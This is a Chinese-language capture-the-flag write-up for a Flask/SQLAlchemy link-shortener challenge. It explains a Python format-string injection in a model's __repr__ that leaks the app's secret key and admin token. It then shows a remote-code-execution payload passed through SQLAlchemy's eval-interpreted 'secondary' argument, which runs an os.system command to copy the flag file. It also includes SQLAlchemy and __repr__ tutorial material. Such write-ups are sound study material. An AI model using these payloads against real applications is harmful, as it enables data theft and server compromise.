題目描述: A fast and reliable link shortener service, with a new feature to add private links!
我們走一遍邏輯
注冊
@app.route("/register", methods=['GET', 'POST'])
def register(): """ 用戶注冊路由,處理用戶注冊請求,驗證用戶名唯一性并保存用戶信息到數據庫 """create_tables() if request.method == "POST": # 從表單中獲取用戶信息 name = request.form["name"] password = request.form["password"] email = request.form["email"] with Session() as session: # 檢查用戶是否已存在 existing_user = session.query(Users).filter_by(name=name).first() if existing_user: return statusify(False, "User already exists") # 對密碼進行哈希處理 hashed_password = bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode("utf-8") # 創建新用戶 new_user = Users(name=name, hashed_pw=hashed_password, email=email) session.add(new_user) session.commit() return statusify(True, "Account successfully created.") return render_template("register.html")
登錄
@app.route("/login", methods=['GET', 'POST'])
def login(): """ 用戶登錄路由,處理用戶登錄請求,驗證用戶名和密碼 """ if request.method == "POST": # 從表單中獲取用戶信息 name = request.form["name"] password = request.form["password"] with Session() as session: # 查詢用戶 user = session.query(Users).filter_by(name=name).first() if user and bcrypt.checkpw(password.encode("utf-8"), user.hashed_pw.encode("utf-8")): # 登錄用戶 login_user(user) return statusify(True, "Logged in") else: return statusify(False, "Invalid Credentials") return render_template("login.html")
這里不太對,返回是拼上去的,我們可以控制元組,我可以控制他們為函數嗎?
from typing import Optional
from sqlalchemy import ForeignKey, String
from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column
from flask_login import UserMixin # 定義 SQLAlchemy 的基類,所有模型類都將繼承自這個基類
class Base(DeclarativeBase): pass # 定義 Links 模型類,對應數據庫中的 links 表
class Links(Base): # 指定數據庫表名 __tablename__ = "links" # 定義主鍵字段 id id: Mapped[int] = mapped_column(primary_key=True) # 定義 url 字段,存儲鏈接的 URL url: Mapped[str] # 定義 path 字段,存儲鏈接的路徑 path: Mapped[str] # 定義對象的字符串表示形式,方便調試和打印對象信息 def __repr__(self) -> str: return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self) # 定義 Users 模型類,對應數據庫中的 users 表,同時繼承 UserMixin 以支持 Flask-Loginclass Users(Base, UserMixin): # 指定數據庫表名 __tablename__ = "users" # 定義主鍵字段 id id: Mapped[int] = mapped_column(primary_key=True) # 定義 name 字段,最大長度為 30 name: Mapped[str] = mapped_column(String(30)) # 定義 email 字段,可為空 email: Mapped[Optional[str]] # 定義 hashed_pw 字段,存儲用戶的哈希密碼 hashed_pw: Mapped[str] # 定義對象的字符串表示形式,方便調試和打印對象信息 def __repr__(self) -> str: return f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})".format(self=self) # 定義 PrivateLinks 模型類,對應數據庫中的 privatelinks 表
class PrivateLinks(Base): # 指定數據庫表名 __tablename__ = "privatelinks" # 定義主鍵字段 id id: Mapped[int] = mapped_column(primary_key=True) # 定義 url 字段,存儲鏈接的 URL url: Mapped[str] # 定義 path 字段,存儲鏈接的路徑 path: Mapped[str] # 定義外鍵字段 user_id,關聯到 users 表的 id 字段 user_id: Mapped[int] = mapped_column(ForeignKey("users.id")) # 定義對象的字符串表示形式,方便調試和打印對象信息 def __repr__(self) -> str: return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
@app.route("/user/create", methods=['GET'])
@login_required
def create_private(): """ 創建私有鏈接的路由,需要用戶登錄,驗證 URL 有效性,生成唯一路徑并保存到數據庫 """ with Session() as session: # 查詢當前用戶 user:Users = session.query(Users).filter_by(name=current_user.name).first() print(user.name) # 從請求參數中獲取 URL url = request.args.get("url", default=None) # 驗證 URL 是否有效 if url is None \ or len(url) > 130 \ or not match(r'^(https?://)?(?:www\.)?[a-zA-Z0-9-]+\.[a-zA-Z]{2,}(?:/[^\s]*)?$', url): return statusify(False, "Invalid Url") # 生成路徑 path = gen_path() # 確保路徑對當前用戶唯一 while any([link.path == path for link in session.query(PrivateLinks).filter_by(path=path, user_id=user.id).all()]): path = gen_path() # 將新私有鏈接添加到數據庫 session.add(PrivateLinks(url=url, path=path, user_id=user.id)) session.commit() return statusify(True, "user/" + path)
然后重定向
@app.route("/<path:path>", methods=['GET'])
def handle_path(path): """ 處理公共鏈接路徑的路由,根據路徑查詢數據庫并重定向到對應的 URL""" with Session() as session: # 根據路徑查詢鏈接 link: Links = session.query(Links).filter_by(path=path).first() if link is None: return redirect("/") return redirect(link.url)
flag在隨機位置,這意味著我必須執行任意代碼或者獲得文件任意文件讀取
RUN mv /tmp/flag.txt /$(head -c 16 /dev/urandom | xxd -p).txt
這個看著很怪
# 定義配置路由,只接受 POST 請求
@app.route("/configure", methods=['POST'])
def configure():# 聲明全局變量global base_urlglobal ukwargsglobal pkwargs# 從請求中獲取 JSON 數據data = request.get_json()if data and data.get("token") == app.config["TOKEN"]: # 如果數據存在且令牌正確,更新配置信息base_url = data.get("base_url")app.config["TOKEN"] = data.get("new_token")ukwargs = data.get("ukwargs")pkwargs = data.get("pkwargs")else:# 如果數據不存在或令牌錯誤,返回錯誤狀態信息return statusify(False, "Invalid Params")# 返回成功狀態信息return statusify(True, "Success")
沒看出來漏洞 …
賽后 -----------------------------------------------------------------------------------------------------------
SQLAlchemy ORM是什么?
我們可以用一個 「倉庫管理員」 的比喻,來形象地理解 SQLAlchemy ORM:
想象場景:
你有一個巨大的倉庫(數據庫),里面堆滿了各種貨物(數據)。倉庫的貨架結構復雜,每個貨架對應一張表格(數據庫表),比如「圖書貨架」「用戶貨架」等。傳統方式中,如果你想存取貨物,必須手動填寫復雜的單據(寫SQL語句),比如:
SELECT * FROM 圖書貨架 WHERE 價格 > 50; -- 手動寫SQL查詢
但有了 SQLAlchemy ORM,倉庫里會出現一個聰明的 「機器人管理員」,它幫你把倉庫的復雜結構翻譯成你熟悉的 Python 對象和代碼!
機器人管理員(ORM)的工作方式:
-
用Python類定義貨架結構:
你不再需要記住貨架的復雜布局,而是用 Python 類描述貨架:class 圖書(Base):__tablename__ = '圖書貨架' # 對應數據庫表名id = Column(Integer, primary_key=True) # 貨架上的編號書名 = Column(String)價格 = Column(Integer)
這個類就像一張「設計圖」,告訴機器人管理員倉庫里「圖書貨架」長什么樣。
-
用Python對象操作貨物:
- 存數據:不再寫
INSERT INTO 圖書貨架...
,而是創建一個 Python 對象:新書 = 圖書(書名="Python編程", 價格=99)
- 取數據:不再寫
SELECT * FROM 圖書貨架
,而是用 Python 語法查詢:貴書 = session.query(圖書).filter(圖書.價格 > 50).all()
- 存數據:不再寫
-
機器人自動翻譯:
機器人管理員(ORM)會默默將你的 Python 操作翻譯成 SQL 語句,像這樣:session.add(新書) # 機器人翻譯成:INSERT INTO 圖書貨架 (書名, 價格) VALUES ('Python編程', 99); session.commit() # 提交更改到倉庫
__repr__
在 Python 中,__repr__
是一個特殊的魔術方法(magic method),用于定義對象的“官方”字符串表示形式。它的目標是返回一個明確的、通常可執行的表達式字符串,理論上可以用這個字符串重新創建該對象。
核心作用
-
調試友好
當你在交互式環境(如 Python Shell)中直接打印對象,或使用repr(obj)
函數時,會調用__repr__
。它的輸出應幫助開發者明確對象的狀態。 -
重建對象
最佳實踐是讓__repr__
返回的字符串看起來像有效的 Python 代碼,以便通過eval(repr(obj))
重新生成對象(如果安全且可行)。
示例代碼
class Person:def __init__(self, name, age):self.name = nameself.age = agedef __repr__(self):return f"Person(name='{self.name}', age={self.age})"p = Person("Alice", 30)
print(p) # 輸出:Person(name='Alice', age=30)
-
未定義
__repr__
時的默認行為
默認繼承自object
類的__repr__
會返回類似<__main__.Person object at 0x7f8b1c1e3d90>
的無意義信息。 -
定義
__repr__
后
輸出更清晰的字符串,直接反映對象的關鍵屬性。
與 __str__
的區別
方法 | 調用場景 | 目標受眾 | 默認行為 |
---|---|---|---|
__repr__ | repr(obj) 、直接輸入對象名 | 開發者(調試) | 返回類名和內存地址 |
__str__ | str(obj) 、print(obj) | 終端用戶 | 默認回退到 __repr__ |
- 優先級
若未定義__str__
,Python 會使用__repr__
作為備用。
最佳實踐
-
明確性
輸出應包含足夠的信息以重建對象(如類名和關鍵參數)。 -
可執行性(可選)
理想情況下,eval(repr(obj))
應返回等價對象(需確保安全性)。 -
格式化規范
通常返回f"{self.__class__.__name__}(...)"
風格的字符串。
!r
在Python中,!r
是一種字符串格式化的轉換符,用于在格式化字符串時調用對象的 repr()
方法。它的作用是將對象轉換為“官方字符串表示”,通常用于調試或需要明確顯示對象類型信息的場景。
核心作用
!r
會在格式化時調用對象的repr()
方法,生成一個明確且無歧義的字符串表示。- 與之相對的
!s
會調用str()
方法(生成用戶友好的字符串表示),而!a
會調用ascii()
方法(生成ASCII安全的表示)。
使用場景
!r
常用于以下情況:
- 調試輸出:顯示變量的精確類型和內容(例如字符串的引號會被保留)。
- 需要明確對象信息:比如在日志中記錄對象的結構或類型。
示例
name = "Alice"
print(f"普通輸出: {name}") # 輸出: Alice
print(f"使用!r: {name!r}") # 輸出: 'Alice'(調用 repr(name))
class Person:def __repr__(self):return "Person()"p = Person()
print(f"{p}") # 輸出: Person()(默認調用 __str__,若未定義則調用 __repr__)
print(f"{p!r}") # 顯式調用 __repr__: Person()
當我們將如下鏈接縮短時
http://fake.com/{self._sa_registry.__init__.__globals__[Mapper].__init__.__globals__[sys].modules[__main__].app.config}
在all路由中將能看到這樣的情況
"Link(id=3, url='http://fake.com/\u003CConfig {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '6bb16f1e31c759004f3d1df627bbaea43e9ed2d32612ad5e302685ad9b74ad1ec1ea79682d7c088d1f53ce54ff14c6370843206629b7ac6cdd0f73a1bfba8e3b', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True, 'SQLALCHEMY_DATABASE_URI': 'sqlite:///./db/links.db', 'TOKEN': 'b0d9c8f82a36c3314a1afab0171264bfcb6e220782517fe9c3d5d59a12bae5f64093e93d8c00d900200f94549608003fd3a81cbf16733ce336fb14cabae044e7'}\u003E', path='gVTQ')"
這是因為格式化字符串被二次解析
f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
f_str = f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})"
return f_str.format(self=self)
接下來我們可以訪問configure路由并篡改ukwargs
# 定義配置路由,只接受 POST 請求
@app.route("/configure", methods=['POST'])
def configure():# 聲明全局變量global base_urlglobal ukwargsglobal pkwargs# 從請求中獲取 JSON 數據data = request.get_json()if data and data.get("token") == app.config["TOKEN"]: # 如果數據存在且令牌正確,更新配置信息base_url = data.get("base_url")app.config["TOKEN"] = data.get("new_token")ukwargs = data.get("ukwargs")pkwargs = data.get("pkwargs")else:# 如果數據不存在或令牌錯誤,返回錯誤狀態信息return statusify(False, "Invalid Params")# 返回成功狀態信息return statusify(True, "Success")
這意味這我們可以控制 relationship 的參數
def create_tables():# 創建數據庫檢查器inspector = inspect(engine)if 'users' not in inspector.get_table_names():# 如果用戶表不存在,定義用戶和私有鏈接的關系并創建用戶表Users.private_links = relationship("PrivateLinks", **ukwargs)Users.__table__.create(engine)if 'privatelinks' not in inspector.get_table_names():# 如果私有鏈接表不存在,定義私有鏈接和用戶的關系并創建私有鏈接表PrivateLinks.users = relationship("Users", **pkwargs)PrivateLinks.__table__.create(engine)
基本關系模式 — SQLAlchemy 2.0 文檔
Using a late-evaluated form for the “secondary” argument of many-to-many
Many-to-many relationships make use of the?relationship.secondary
?parameter, which ordinarily indicates a reference to a typically non-mapped?Table
?object or other Core selectable object. Late evaluation using a lambda callable is typical.
For the example given at?Many To Many, if we assumed that the?Table
?object would be defined at a point later on in the module than the mapped class itself, we may write the?relationship()
?using a lambda as:association_table
class Parent(Base):
tablename = “left_table”
id: Mapped[int] = mapped_column(primary_key=True)
children: Mapped[List["Child"]] = relationship("Child", secondary=lambda: association_table
)
As a shortcut for table names that are also?valid Python identifiers, the?relationship.secondary
?parameter may also be passed as a string, where resolution works by evaluation of the string as a Python expression, with simple identifier names linked to same-named?Table
?objects that are present in the same?MetaData
?collection referenced by the current?registry
.
In the example below, the expression?is evaluated as a variable named “association_table” that is resolved against the table names within the?MetaData
?collection:"association_table"
class Parent(Base):
tablename = “left_table”
id: Mapped[int] = mapped_column(primary_key=True)
children: Mapped[List["Child"]] = relationship(secondary="association_table")
Note
When passed as a string, the name passed to?relationship.secondary
?must be a valid Python identifier?starting with a letter and containing only alphanumeric characters or underscores. Other characters such as dashes etc. will be interpreted as Python operators which will not resolve to the name given. Please consider using lambda expressions rather than strings for improved clarity.
Warning
When passed as a string,?relationship.secondary
?argument is interpreted using Python’s?function, even though it’s typically the name of a table.?DO NOT PASS UNTRUSTED INPUT TO THIS STRING.eval()
secondary
是 SQLAlchemy 中用于定義多對多關系的“中間人”,它指向一個關聯表(Association Table),告訴 ORM 如何通過這個中間表連接兩個主表。
舉個現實例子
想象你要管理一個 學生選課系統:
- 學生表(
students
):記錄學生信息 - 課程表(
courses
):記錄課程信息 - 關聯表(
enrollments
):記錄哪個學生選了哪門課(學生ID + 課程ID)
這里的 enrollments
就是 secondary
指向的中間表。通過它,一個學生可以選多門課,一門課也可以被多個學生選。
代碼解析 🔍
# 1. 定義中間表(secondary 指向它)
enrollments = Table("enrollments",Base.metadata,Column("student_id", ForeignKey("students.id")),Column("course_id", ForeignKey("courses.id"))
)# 2. 在學生表中定義多對多關系
class Student(Base):__tablename__ = "students"id = Column(Integer, primary_key=True)# ▼ 關鍵:通過 secondary 指定中間表 ▼courses = relationship("Course", secondary=enrollments)# 3. 課程表無需特殊定義
class Course(Base):__tablename__ = "courses"id = Column(Integer, primary_key=True)
secondary
的作用 🛠?
-
自動管理關聯表
當你操作student.courses.append(course)
時,SQLAlchemy 會自動在enrollments
表中插入關聯記錄。 -
查詢導航
可以直接通過student.courses
獲取學生選的所有課程,無需手動寫 JOIN 查詢。 -
解耦主表
學生表和課程表無需直接包含對方的信息,所有關聯邏輯由中間表處理。
為什么需要它? 🤔
- 多對多關系的本質:直接在主表中無法表達“一個學生選多門課,一門課有多個學生”的關系。
- 中間表必要性:必須通過第三個表存儲關聯關系(類似現實中的購物車記錄訂單和商品的關系)。
secondary 會在eval中解析
ukwargs={"back_populates": "users","secondary": "__import__('os').system('cp /f* templates/sponsors.html')"
}
最后訪問 /register 觸發
@app.route("/register", methods=['GET', 'POST'])
def register():# 調用創建表的函數create_tables()
再訪問/sponsors